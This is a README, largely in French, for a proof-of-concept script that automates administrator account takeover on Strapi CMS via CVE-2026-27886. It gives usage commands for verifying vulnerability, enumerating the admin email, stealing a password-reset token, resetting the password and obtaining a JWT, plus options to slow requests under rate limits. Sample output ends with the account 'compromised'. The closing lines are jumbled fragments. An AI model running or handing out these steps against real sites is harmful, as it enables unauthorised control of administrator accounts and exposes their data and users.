
Account takeover full PoC for CVE-2026-27886 in Strapi CMS
Automatise la chaîne complète de prise de contrôle de compte en 4 groupes de requêtes HTTP :
Vérifiez si la cible est vulnérable sans exploitation :
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
Automatisez tout si vous ne connaissez pas l'e-mail de l'administrateur :
./cve-2026-27886-exploit.py https://target/api/articles
Sortie :
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Si vous connaissez déjà l'e-mail de l'administrateur (économise ~500 requêtes) :
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
Définissez un mot de passe personnalisé au lieu de celui par défaut :
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
Si la cible a une limitation de débit :
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
Cela ajoute 100 ms entre chaque requête (~2 à 3 minutes pour une exploitation complète).
Si les points de terminaison /admin/* sont sur un hôte différent :
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles, etc.updated_by_id)--delay 0.05 ou plusCe script :